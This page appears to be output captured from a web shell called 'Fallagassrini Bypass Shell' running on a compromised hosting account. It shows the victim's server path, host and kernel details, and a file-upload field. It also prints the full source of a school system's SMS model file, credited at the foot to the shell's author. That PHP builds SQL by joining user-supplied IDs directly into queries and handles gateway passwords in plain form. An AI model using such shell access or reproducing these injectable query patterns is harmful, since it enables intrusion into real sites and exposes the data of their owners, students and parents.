? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/simsdemo/school/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/simsdemo/school/application/models/smsmodel.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<?php
/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
 class Smsmodel extends Model
{
     function Smsmodel()
     {
         parent::Model();
         
         
     }
     function searchsendsms($postdata,$pagenum)
     {

         $data=array();
         $arr=$this->fpaginate->paginate($pagenum,1);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=1;
         $data['results']=1;
         return $data;
     }
     function insertsendsms($postdata)
     {
        $data=array();
        $smsdata=$this->mastermodel->getdatas('smssettings');
        $data['resfunction']='searchsendsms';
        foreach($smsdata as $smsinfo)
        {
            $username=$smsinfo['username'];
            $password=$smsinfo['password'];
            $domain=$smsinfo['domain'];
        }
        if($postdata['status']=="Scheduled")
        {
             $datetime= $postdata['start_year']."-".$postdata['start_month']."-".$postdata['start_day']." ".$postdata['start_hour'].":".$postdata['start_minute'].":00";
        }
        else
        {
             $datetime=date("Y-m-d H:i:s");
        }
        $message =$postdata['message'];
        $sender=$postdata['sender_id'];
        $split=explode(',',$postdata['numbers']);
        $method="POST";
        $username=urlencode($username);
        $password=urlencode($password);
        $sender=urlencode($sender);
        $message=urlencode($message);
        if($username == '' || $password == '' || $domain == '')
        {
            $data['res']=0;
            $data['msg']="SMS settings not configured";
            return $data;
        }
        else
        {
            $this->db->trans_begin();
            for($i=0;$i<sizeof($split);$i++)
            {
                $numbers=$split[$i];
                if($postdata['status']=="Sent")
                {
                    
                    $opts = array(
                   'http'=>array(
                    'method'=>"$method",
                        'content' => "username=$username&password=$password&numbers=$numbers&message=$message&id=$sender",
                    'header'=>"Accept-language: en\r\n". "Content-type: application/x-www-form-urlencoded\r\n"."Cookie: foo=bar\r\n"
                    )
                    );
                    $context = stream_context_create($opts);
                    $fp = fopen("$domain", "r", false, $context);
                    $response = @stream_get_contents($fp);
                    if($response=="402")
                        $status = "Sent";
                    else
                        $status = "Not Sent";
                    fpassthru($fp);
                    fclose($fp);
                }
                else
                {
                    $status = "Saved";
                }
                    $tbl1Values=array(
                    'sender_id'=>$sender,
                    'message'=>$postdata['message'],
                    'numbers'=>$numbers,
                    'status'=>$status,
                    'datetime'=>$datetime);
                $this->db->insert('sendsms', $tbl1Values);
             }
             if ($this->db->trans_status() === FALSE)
             {
                $this->db->trans_rollback();
                return 0;
             }
             else
             {
                $this->db->trans_commit();
                $data['res']=1;
                return $data;
             }
        }
     }
     function searchbulksms($postdata,$pagenum)
     {

         $data=array();
         $arr=$this->fpaginate->paginate($pagenum,1);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=1;
         $data['results']=1;
         return $data;
     }
     function searchtemplate($postdata,$pagenum)
     {

         $data=array();
         $this->db->from('template');
         $postdata=$_SESSION['searchdata'];
         if(!empty($postdata))
         {
             $searchtext=$postdata['searchtext'];
             $searchfield=$postdata['searchvalue'];
             $this->db->like($searchfield, $searchtext);
         }
         $count= $this->db->count_all_results();
         $arr=$this->fpaginate->paginate($pagenum,$count);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=$count;
         if(!empty($postdata))
         {
             $searchtext=$postdata['searchtext'];
             $searchfield=$postdata['searchvalue'];
             $this->db->like($searchfield, $searchtext);
         }
         $this->db->select('template.template_id,template.template_title,content');
         $this->db->from('template');
         $this->db->limit($perpage, $start);
         $data['results']=$this->db->get();
         return $data;
     }
     function inserttemplate($postdata)
     {
         $data=array();
         $this->db->trans_begin();
         $tbl1Values=array(
                'template_title'=>$postdata['template_title'],
                'content'=>$postdata['content']);
         $this->db->insert('template', $tbl1Values);
         $data['resfunction']='searchtemplate';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }

     }
     function updatetemplate($postdata)
     {
         $data=array();
         $this->db->trans_begin();
         $tbl2Values=array(
                'template_title'=>$postdata['template_title'],
                'content'=>$postdata['content']);
          $this->db->where('template_id',$postdata['template_id']);
          $this->db->update('template', $tbl2Values);

        
          $data['resfunction']='searchtemplate';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }
     function searchschedule($postdata,$pagenum)
     {

         $data=array();
         $this->db->from('sendsms');
         $this->db->where('status','Scheduled');
         $count= $this->db->count_all_results();
         $arr=$this->fpaginate->paginate($pagenum,$count);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=$count;
         if(!empty($postdata))
         {
         $searchtext=$postdata['searchtext'];
         $searchfield=$postdata['searchvalue'];
         $this->db->like($searchfield, $searchtext);
         }
         $this->db->select('*');
         $this->db->from('sendsms');
         $this->db->where('status','Scheduled');
         $this->db->order_by('datetime', "desc");
         $this->db->limit($perpage, $start);
         $data['results']=$this->db->get();
         return $data;
     }
     function searchdraft($postdata,$pagenum)
     {

         $data=array();
         $this->db->from('sendsms');
         $this->db->where('status','Scheduled');
         $count= $this->db->count_all_results();
         $arr=$this->fpaginate->paginate($pagenum,$count);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=$count;
         if(!empty($postdata))
         {
         $searchtext=$postdata['searchtext'];
         $searchfield=$postdata['searchvalue'];
         $this->db->like($searchfield, $searchtext);
         }
         $this->db->select('*');
         $this->db->from('sendsms');
         $this->db->where('status','Saved');
         $this->db->order_by('datetime', "desc");
         $this->db->limit($perpage, $start);
         $data['results']=$this->db->get();
         return $data;
     }
     function searchreport($postdata,$pagenum)
     {

         $data=array();
         $this->db->from('sendsms');
         $count= $this->db->count_all_results();
         $arr=$this->fpaginate->paginate($pagenum,$count);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=$count;
         if(!empty($postdata))
         {
         $searchtext=$postdata['searchtext'];
         $searchfield=$postdata['searchvalue'];
         $this->db->like($searchfield, $searchtext);
         }
         $this->db->select('*');
         $this->db->from('sendsms');
         $this->db->order_by('datetime', "desc");
         $this->db->limit($perpage, $start);
         $data['results']=$this->db->get();
         return $data;
     }
     function loadsmslist($postdata)
     {
         $data=array();
         $ayear = $this->mastermodel->getsinglefieldvalue('academicyear','ayear','current','1');
         $sql="";
         if((isset($postdata['student_id']) != 'on')&&(isset($postdata['teacher_id']) != 'on')&&(isset($postdata['parent_id']) != 'on')&&(isset($postdata['staff_id']) != 'on'))
         {
            $data['results']="";
         }
         else
         {
            if(isset($postdata['student_id'])== 'on')
            {
                $sql.= "select student.first_name as name,student.mobile_no, module_id from student join master on master.masterid= student.student_id where master.deleted=0 and ayear=$ayear";
                if(isset ($postdata['studclasslevel_id']))
                {
                    $ids = join(',',$postdata['studclasslevel_id']);
                    $sql.=" and classlevel_id in (".$ids.")";
                }
            if((isset($postdata['teacher_id']) == 'on')||(isset($postdata['parent_id']) == 'on')||(isset($postdata['staff_id']) == 'on'))
                $sql.=" union ";
            }

            if(isset($postdata['teacher_id']) == 'on')
            {
                $sql.= "select teacher.first_name as name,teacher.mobile_no, module_id from teacher join teacher_subject on teacher_subject.teacher_id=teacher.teacher_id join subject on subject.subject_id =teacher_subject.subject_id  join master on master.masterid= teacher.teacher_id where master.deleted=0 and ayear=$ayear";
                if(isset ($postdata['studclasslevel_id']))
                {
                    $ids = join(',',$postdata['teachclasslevel_id']);
                    $sql.=" and classlevel_id in (".$ids.")";
                }
                if((isset($postdata['parent_id'])== 'on')||(isset($postdata['staff_id']) == 'on'))
                $sql.=" union ";
            }

            if(isset($postdata['parent_id'])== 'on')
            {
                $sql.= "select parent.name as name,parent.mobile_no, module_id  from parent join parent_student on parent.parent_id = parent_student.parent_id join student on student.student_id=parent_student.student_id  join master on master.masterid= parent.parent_id where master.deleted=0 and ayear=$ayear";
                if(isset($postdata['parclasslevel_id']))
                {
                    $ids = join(',',$postdata['parclasslevel_id']);
                    $sql.=" and classlevel_id in (".$ids.")";
                }
                if(isset($postdata['staff_id'])== 'on')
                $sql.=" union ";
            }

            if(isset($postdata['staff_id'])== 'on')
            {
                $sql.= "select staff.name as name,staff.mobile_no, module_id  from staff join master on master.masterid= staff.staff_id where master.deleted=0 and ayear=$ayear";
                if(isset($postdata['department_id']))
                {
                    $ids = join(',',$postdata['department_id']);
                    $sql.=" and department_id in (".$ids.")";
                }

            }
            $data['results']=$this->db->query($sql);
         }
        
        $data['startpage']='';
	$data['endpage']='';
        $data['count']='';
        
        return $data;
     }
     function insertbulksms($postdata)
     {
        $smsdata=$this->mastermodel->getdatas('smssettings');
        foreach($smsdata as $smsinfo)
        {
            $username=$smsinfo['username'];
            $password=$smsinfo['password'];
            $domain=$smsinfo['domain'];
        }
        $message =$postdata['message'];
        $sender=$postdata['sender_id'];
        $method="POST";

        $username=urlencode($username);
        $password=urlencode($password);
        $sender=urlencode($sender);
        $message=urlencode($message);


        

         
         if($postdata['status']=="Scheduled")
         {
             $datetime= $postdata['start_year']."-".$postdata['start_month']."-".$postdata['start_day']." ".$postdata['start_hour'].":".$postdata['start_minute'].":00";
         }
         else
         {
             $datetime=date("Y-m-d H:i:s");
         }
         $data=array();
         $this->db->trans_begin();
         for($i=1;$i<=$postdata['moblen'];$i++)
         {
             if(isset($postdata['check_mobile_'.$i])=="on")
             {
                $tbl1Values=array(
                'sender_id'=>$postdata['sender_id'],
                'message'=>$postdata['message'],
                'numbers'=>$postdata['check_mobile_'.$i],
                'status'=>$postdata['status'],
                'datetime'=>$datetime);
                $this->db->insert('sendsms', $tbl1Values);
                $numbers=$postdata['check_mobile_'.$i];
                $opts = array(
                'http'=>array(
                    'method'=>"$method",
                    'content' => "username=$username&password=$password&numbers=$numbers&message=$message&id=$sender",
                    'header'=>"Accept-language: en\r\n". "Content-type: application/x-www-form-urlencoded\r\n"."Cookie: foo=bar\r\n"
                    )
                );
                $context = stream_context_create($opts);
                $fp = fopen("$domain", "r", false, $context);
                $response = @stream_get_contents($fp);
                fpassthru($fp);
                fclose($fp);
             }
         }
         $data['resfunction']='searchbulksms';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }

     }
     function searchsmssettings($postdata,$pagenum)
     {

         $data=array();
         $arr=$this->fpaginate->paginate($pagenum,1);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=1;
         if(!empty($postdata))
         {
         $searchtext=$postdata['searchtext'];
         $searchfield=$postdata['searchvalue'];
         $this->db->like($searchfield, $searchtext);
         }
         $this->db->select('*');
         $this->db->from('smssettings');

         $this->db->limit($perpage, $start);
         $data['results']=$this->db->get();


         return $data;
     }
     function insertsmssettings($postdata)
     {


         $data=array();
         $this->db->trans_begin();
         $this->db->truncate('smssettings');
         $tbl1Values=array(
                'username'=>$postdata['username'],
                'domain'=>$postdata['domain'],
                'password'=>$postdata['password']);
          $this->db->insert('smssettings', $tbl1Values);

          $data['resfunction']='searchsmssettings';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }

     }

     function senddraft($smsid)
     {
        $data=array();
        $datetime = date("Y-m-d H:i:s");
        $smsdata=$this->mastermodel->getdatas('smssettings');
        $data['resfunction']='searchsendsms';
        foreach($smsdata as $smsinfo)
        {
            $username=$smsinfo['username'];
            $password=$smsinfo['password'];
            $domain=$smsinfo['domain'];
        }
        $draft=$this->mastermodel->get_data_srow('sendsms',$smsid,'id');
        $message =$draft->message;
        $sender=$draft->sender_id;
        $numbers=$draft->numbers;
        $method="POST";
        $username=urlencode($username);
        $password=urlencode($password);
        $sender=urlencode($sender);
        $message=urlencode($message);
        if($username == '' || $password == '' || $domain == '')
        {
            return 0;
        }
        else
        {
            $this->db->trans_begin();
                    $opts = array(
                   'http'=>array(
                    'method'=>"$method",
                        'content' => "username=$username&password=$password&numbers=$numbers&message=$message&id=$sender",
                    'header'=>"Accept-language: en\r\n". "Content-type: application/x-www-form-urlencoded\r\n"."Cookie: foo=bar\r\n"
                    )
                    );
                    $context = stream_context_create($opts);
                    $fp = fopen("$domain", "r", false, $context);
                    $response = @stream_get_contents($fp);
                    if($response=="402")
                    {
                        $status = "Sent";
                    }
                    else
                    {
                        $status = "Not Sent";
                        return 0;
                    }
                    fpassthru($fp);
                    fclose($fp);
                
                    $tbl1Values=array(
                    'sender_id'=>$sender,
                    'message'=>$postdata['message'],
                    'numbers'=>$numbers,
                    'status'=>$status,
                    'datetime'=>$datetime);
                $this->db->where('id', $smsid);
                $this->db->update('sendsms', $tbl1Values);
            
             if ($this->db->trans_status() === FALSE)
             {
                $this->db->trans_rollback();
                return 0;
             }
             else
             {
                $this->db->trans_commit();
                return 1;
             }
        }
     }
   
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net